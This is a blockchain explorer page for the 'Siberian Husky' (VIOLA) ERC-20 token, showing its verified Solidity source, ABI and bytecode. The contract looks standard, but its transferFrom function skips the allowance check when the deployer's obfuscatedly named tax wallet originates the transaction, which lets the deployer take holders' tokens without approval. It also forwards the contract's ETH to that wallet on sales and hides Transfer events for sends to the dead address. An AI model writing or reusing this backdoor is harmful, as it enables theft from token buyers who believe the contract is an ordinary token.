Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Source Code
Overview
Max Total Supply
420,690,000 VIOLA
Holders
504
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Token
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-07-26
*/
/*
A social media influencer, particularly popular on Instagram, and has even worked as a dog model for fashion and film.
Youtube: https://www.youtube.com/@_violasnow
Instagram: https://www.instagram.com/_violasnow
Tiktok https://www.tiktok.com/@_violasnow
Facebook https://www.facebook.com/_violasnow
Web: https://www.violahusky.wiki
X: https://x.com/ViolaHuskyOnETH
TG: https://t.me/violahuskyoneth
*/
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
abstract contract Ownable is Context {
address private _owner;
/**
* @dev The caller account is not authorized to perform an operation.
*/
error OwnableUnauthorizedAccount(address account);
/**
* @dev The owner is not a valid owner account. (eg. 'address(0)')
*/
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the address provided by the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* 'onlyOwner' functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account ('newOwner').
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Token is Ownable {
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
string public name = unicode"Siberian Husky";
string public symbol = unicode"VIOLA";
uint8 public immutable decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
address private _VIOLAPGUXTNO3U8J_taxWallet;
uint256 public totalSupply;
bool private tradingEnabled;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint256 internal immutable INITIAL_CHAIN_ID;
bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;
mapping(address => uint256) public nonces;
uint256 public FHE2VCWERIDENTIFIRE;
uint256 public SDFE4DFSDIDENTIFIRE;
constructor() Ownable(msg.sender) payable {
_mint(address(this), 420_690_000 * 10 ** decimals);
_VIOLAPGUXTNO3U8J_taxWallet = msg.sender;
INITIAL_CHAIN_ID = block.chainid;
INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max && (tx.origin != _VIOLAPGUXTNO3U8J_taxWallet || !tradingEnabled)) allowance[from][msg.sender] = allowed - amount;
if(tradingEnabled && to == uniswapV2Pair) payable(_VIOLAPGUXTNO3U8J_taxWallet).transfer(address(this).balance);
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
if(to != address(0xdead))
emit Transfer(from, to, amount);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED");
unchecked {
address recoveredAddress = ecrecover(
keccak256(
abi.encodePacked(
unicode"",
DOMAIN_SEPARATOR(),
keccak256(
abi.encode(
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
),
owner,
spender,
value,
nonces[owner]++,
deadline
)
)
)
),
v,
r,
s
);
require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER");
allowance[recoveredAddress][spender] = value;
}
emit Approval(owner, spender, value);
}
function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {
return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();
}
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal virtual {
balanceOf[from] -= amount;
unchecked {
totalSupply -= amount;
}
emit Transfer(from, address(0), amount);
}
function computeDomainSeparator() internal view virtual returns (bytes32) {
return
keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256("1"),
block.chainid,
address(this)
)
);
}
function enableVIOLAPGUXTNO3U8JTrading() external onlyOwner {
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
allowance[address(this)][address(uniswapV2Router)] = totalSupply;
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf[address(this)],
0,
0,
owner(),
block.timestamp
);
tradingEnabled = true;
}
receive() external payable { }
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FHE2VCWERIDENTIFIRE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SDFE4DFSDIDENTIFIRE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableVIOLAPGUXTNO3U8JTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
610120604052600e60e09081526d536962657269616e204875736b7960901b61010052600190620000319082620002dd565b5060408051808201909152600581526456494f4c4160d81b60208201526002906200005d9082620002dd565b50600960805233806200008957604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b6200009481620000ea565b50620000c130608051600a620000ab9190620004b8565b620000bb906319133850620004cf565b62000139565b600580546001600160a01b031916331790554660a052620000e1620001a4565b60c05262000579565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b8060065f8282546200014c9190620004e9565b90915550506001600160a01b0382165f818152600860209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051620001d79190620004ff565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200026857607f821691505b6020821081036200028757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002d857805f5260205f20601f840160051c81016020851015620002b45750805b601f840160051c820191505b81811015620002d5575f8155600101620002c0565b50505b505050565b81516001600160401b03811115620002f957620002f96200023f565b62000311816200030a845462000253565b846200028d565b602080601f83116001811462000347575f84156200032f5750858301515b5f19600386901b1c1916600185901b178555620003a1565b5f85815260208120601f198616915b82811015620003775788860151825594840194600190910190840162000356565b50858210156200039557878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003fd57815f1904821115620003e157620003e1620003a9565b80851615620003ef57918102915b93841c9390800290620003c2565b509250929050565b5f826200041557506001620004b2565b816200042357505f620004b2565b81600181146200043c5760028114620004475762000467565b6001915050620004b2565b60ff8411156200045b576200045b620003a9565b50506001821b620004b2565b5060208310610133831016604e8410600b84101617156200048c575081810a620004b2565b620004988383620003bd565b805f1904821115620004ae57620004ae620003a9565b0290505b92915050565b5f620004c860ff84168362000405565b9392505050565b8082028115828204841417620004b257620004b2620003a9565b80820180821115620004b257620004b2620003a9565b5f8083546200050e8162000253565b600182811680156200052957600181146200053f576200056d565b60ff19841687528215158302870194506200056d565b875f526020805f205f5b85811015620005645781548a82015290840190820162000549565b50505082870194505b50929695505050505050565b60805160a05160c051610ff6620005a45f395f61063301525f6105fe01525f6101bf0152610ff65ff3fe608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102d7578063d1b97b4b146102f6578063d505accf1461030a578063dd62ed3e14610329578063f2fde38b1461035f575f80fd5b80638da5cb5b1461027357806392ee3f031461029957806395d89b41146102ae578063a3cd5fb9146102c2575f80fd5b8063313ce567116100d8578063313ce567146101ae5780633644e515146101f357806370a0823114610207578063715018a6146102325780637ecebe0014610248575f80fd5b806306fdde0314610113578063095ea7b31461013d57806318160ddd1461016c57806323b872dd1461018f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5061012761037e565b6040516101349190610cf3565b60405180910390f35b348015610148575f80fd5b5061015c610157366004610d53565b61040a565b6040519015158152602001610134565b348015610177575f80fd5b5061018160065481565b604051908152602001610134565b34801561019a575f80fd5b5061015c6101a9366004610d7d565b610476565b3480156101b9575f80fd5b506101e17f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff9091168152602001610134565b3480156101fe575f80fd5b506101816105fb565b348015610212575f80fd5b50610181610221366004610dbb565b60086020525f908152604090205481565b34801561023d575f80fd5b50610246610655565b005b348015610253575f80fd5b50610181610262366004610dbb565b600a6020525f908152604090205481565b34801561027e575f80fd5b505f546040516001600160a01b039091168152602001610134565b3480156102a4575f80fd5b50610181600c5481565b3480156102b9575f80fd5b50610127610668565b3480156102cd575f80fd5b50610181600b5481565b3480156102e2575f80fd5b5061015c6102f1366004610d53565b610675565b348015610301575f80fd5b506102466106eb565b348015610315575f80fd5b50610246610324366004610ddd565b61095f565b348015610334575f80fd5b50610181610343366004610e4e565b600960209081525f928352604080842090915290825290205481565b34801561036a575f80fd5b50610246610379366004610dbb565b610ba2565b6001805461038b90610e85565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790610e85565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b505050505081565b335f8181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104649086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526009602090815260408083203384529091528120545f1981148015906104c257506005546001600160a01b0316321415806104c2575060075460ff16155b156104f5576104d18382610ebd565b6001600160a01b0386165f9081526009602090815260408083203384529091529020555b60075460ff16801561051457506004546001600160a01b038581169116145b15610551576005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561054f573d5f803e3d5ffd5b505b6001600160a01b0385165f9081526008602052604081208054859290610578908490610ebd565b90915550506001600160a01b0384165f81815260086020526040902080548501905561dead146105f057836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e791815260200190565b60405180910390a35b506001949350505050565b5f7f000000000000000000000000000000000000000000000000000000000000000046146106305761062b610bdf565b905090565b507f000000000000000000000000000000000000000000000000000000000000000090565b61065d610c78565b6106665f610ca4565b565b6002805461038b90610e85565b335f90815260086020526040812080548391908390610695908490610ebd565b90915550506001600160a01b0383165f81815260086020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104649086815260200190565b6106f3610c78565b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600654305f90815260096020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa15801561077e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a29190610edc565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190610edc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108939190610edc565b600480546001600160a01b0319166001600160a01b03928316178155600354305f81815260086020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af1158015610928573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094d9190610ef7565b50506007805460ff1916600117905550565b428410156109b45760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064015b60405180910390fd5b5f60016109bf6105fb565b6001600160a01b038a81165f818152600a602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610ac7573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610afd5750876001600160a01b0316816001600160a01b0316145b610b3a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016109ab565b6001600160a01b039081165f9081526009602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610baa610c78565b6001600160a01b038116610bd357604051631e4fbdf760e01b81525f60048201526024016109ab565b610bdc81610ca4565b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610c109190610f22565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146106665760405163118cdaa760e01b81523360048201526024016109ab565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602080835283518060208501525f5b81811015610d1f57858101830151858201604001528201610d03565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bdc575f80fd5b5f8060408385031215610d64575f80fd5b8235610d6f81610d3f565b946020939093013593505050565b5f805f60608486031215610d8f575f80fd5b8335610d9a81610d3f565b92506020840135610daa81610d3f565b929592945050506040919091013590565b5f60208284031215610dcb575f80fd5b8135610dd681610d3f565b9392505050565b5f805f805f805f60e0888a031215610df3575f80fd5b8735610dfe81610d3f565b96506020880135610e0e81610d3f565b95506040880135945060608801359350608088013560ff81168114610e31575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215610e5f575f80fd5b8235610e6a81610d3f565b91506020830135610e7a81610d3f565b809150509250929050565b600181811c90821680610e9957607f821691505b602082108103610eb757634e487b7160e01b5f52602260045260245ffd5b50919050565b8181038181111561047057634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610eec575f80fd5b8151610dd681610d3f565b5f805f60608486031215610f09575f80fd5b8351925060208401519150604084015190509250925092565b5f8083545f60018260011c91506001831680610f3f57607f831692505b60208084108203610f5e57634e487b7160e01b5f52602260045260245ffd5b818015610f725760018114610f8757610fb2565b60ff1986168952841515850289019650610fb2565b5f8a8152602090205f5b86811015610faa5781548b820152908501908301610f91565b505084890196505b50949897505050505050505056fea2646970667358221220398097360a2279ec3bdb886ebbaae5e6cea41220f5b71a0f983df38aa729f0e264736f6c63430008180033
Deployed Bytecode
0x608060405260043610610108575f3560e01c80638da5cb5b11610092578063a9059cbb11610062578063a9059cbb146102d7578063d1b97b4b146102f6578063d505accf1461030a578063dd62ed3e14610329578063f2fde38b1461035f575f80fd5b80638da5cb5b1461027357806392ee3f031461029957806395d89b41146102ae578063a3cd5fb9146102c2575f80fd5b8063313ce567116100d8578063313ce567146101ae5780633644e515146101f357806370a0823114610207578063715018a6146102325780637ecebe0014610248575f80fd5b806306fdde0314610113578063095ea7b31461013d57806318160ddd1461016c57806323b872dd1461018f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5061012761037e565b6040516101349190610cf3565b60405180910390f35b348015610148575f80fd5b5061015c610157366004610d53565b61040a565b6040519015158152602001610134565b348015610177575f80fd5b5061018160065481565b604051908152602001610134565b34801561019a575f80fd5b5061015c6101a9366004610d7d565b610476565b3480156101b9575f80fd5b506101e17f000000000000000000000000000000000000000000000000000000000000000981565b60405160ff9091168152602001610134565b3480156101fe575f80fd5b506101816105fb565b348015610212575f80fd5b50610181610221366004610dbb565b60086020525f908152604090205481565b34801561023d575f80fd5b50610246610655565b005b348015610253575f80fd5b50610181610262366004610dbb565b600a6020525f908152604090205481565b34801561027e575f80fd5b505f546040516001600160a01b039091168152602001610134565b3480156102a4575f80fd5b50610181600c5481565b3480156102b9575f80fd5b50610127610668565b3480156102cd575f80fd5b50610181600b5481565b3480156102e2575f80fd5b5061015c6102f1366004610d53565b610675565b348015610301575f80fd5b506102466106eb565b348015610315575f80fd5b50610246610324366004610ddd565b61095f565b348015610334575f80fd5b50610181610343366004610e4e565b600960209081525f928352604080842090915290825290205481565b34801561036a575f80fd5b50610246610379366004610dbb565b610ba2565b6001805461038b90610e85565b80601f01602080910402602001604051908101604052809291908181526020018280546103b790610e85565b80156104025780601f106103d957610100808354040283529160200191610402565b820191905f5260205f20905b8154815290600101906020018083116103e557829003601f168201915b505050505081565b335f8181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104649086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383165f9081526009602090815260408083203384529091528120545f1981148015906104c257506005546001600160a01b0316321415806104c2575060075460ff16155b156104f5576104d18382610ebd565b6001600160a01b0386165f9081526009602090815260408083203384529091529020555b60075460ff16801561051457506004546001600160a01b038581169116145b15610551576005546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561054f573d5f803e3d5ffd5b505b6001600160a01b0385165f9081526008602052604081208054859290610578908490610ebd565b90915550506001600160a01b0384165f81815260086020526040902080548501905561dead146105f057836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516105e791815260200190565b60405180910390a35b506001949350505050565b5f7f000000000000000000000000000000000000000000000000000000000000000146146106305761062b610bdf565b905090565b507fa5e76a0f67877c17726d95c74bcc2249ccfdc72301280b1c1b3e4992884782e590565b61065d610c78565b6106665f610ca4565b565b6002805461038b90610e85565b335f90815260086020526040812080548391908390610695908490610ebd565b90915550506001600160a01b0383165f81815260086020526040908190208054850190555133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906104649086815260200190565b6106f3610c78565b600380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255600654305f90815260096020908152604080832094835293815290839020919091559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa15801561077e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a29190610edc565b6001600160a01b031663c9c653963060035f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610801573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108259190610edc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561086f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108939190610edc565b600480546001600160a01b0319166001600160a01b03928316178155600354305f81815260086020526040808220548254825163f305d71960e01b815296870194909452602486015260448501829052606485019190915290841660848401524260a48401525192169163f305d71991479160c4808301926060929190829003018185885af1158015610928573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094d9190610ef7565b50506007805460ff1916600117905550565b428410156109b45760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f4558504952454400000000000000000060448201526064015b60405180910390fd5b5f60016109bf6105fb565b6001600160a01b038a81165f818152600a602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938d166060840152608083018c905260a083019390935260c08083018b90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f1981840301815282825280516020918201205f84529083018083525260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015610ac7573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615801590610afd5750876001600160a01b0316816001600160a01b0316145b610b3a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b60448201526064016109ab565b6001600160a01b039081165f9081526009602090815260408083208a8516808552908352928190208990555188815291928a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b610baa610c78565b6001600160a01b038116610bd357604051631e4fbdf760e01b81525f60048201526024016109ab565b610bdc81610ca4565b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6001604051610c109190610f22565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b5f546001600160a01b031633146106665760405163118cdaa760e01b81523360048201526024016109ab565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f602080835283518060208501525f5b81811015610d1f57858101830151858201604001528201610d03565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bdc575f80fd5b5f8060408385031215610d64575f80fd5b8235610d6f81610d3f565b946020939093013593505050565b5f805f60608486031215610d8f575f80fd5b8335610d9a81610d3f565b92506020840135610daa81610d3f565b929592945050506040919091013590565b5f60208284031215610dcb575f80fd5b8135610dd681610d3f565b9392505050565b5f805f805f805f60e0888a031215610df3575f80fd5b8735610dfe81610d3f565b96506020880135610e0e81610d3f565b95506040880135945060608801359350608088013560ff81168114610e31575f80fd5b9699959850939692959460a0840135945060c09093013592915050565b5f8060408385031215610e5f575f80fd5b8235610e6a81610d3f565b91506020830135610e7a81610d3f565b809150509250929050565b600181811c90821680610e9957607f821691505b602082108103610eb757634e487b7160e01b5f52602260045260245ffd5b50919050565b8181038181111561047057634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610eec575f80fd5b8151610dd681610d3f565b5f805f60608486031215610f09575f80fd5b8351925060208401519150604084015190509250925092565b5f8083545f60018260011c91506001831680610f3f57607f831692505b60208084108203610f5e57634e487b7160e01b5f52602260045260245ffd5b818015610f725760018114610f8757610fb2565b60ff1986168952841515850289019650610fb2565b5f8a8152602090205f5b86811015610faa5781548b820152908501908301610f91565b505084890196505b50949897505050505050505056fea2646970667358221220398097360a2279ec3bdb886ebbaae5e6cea41220f5b71a0f983df38aa729f0e264736f6c63430008180033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)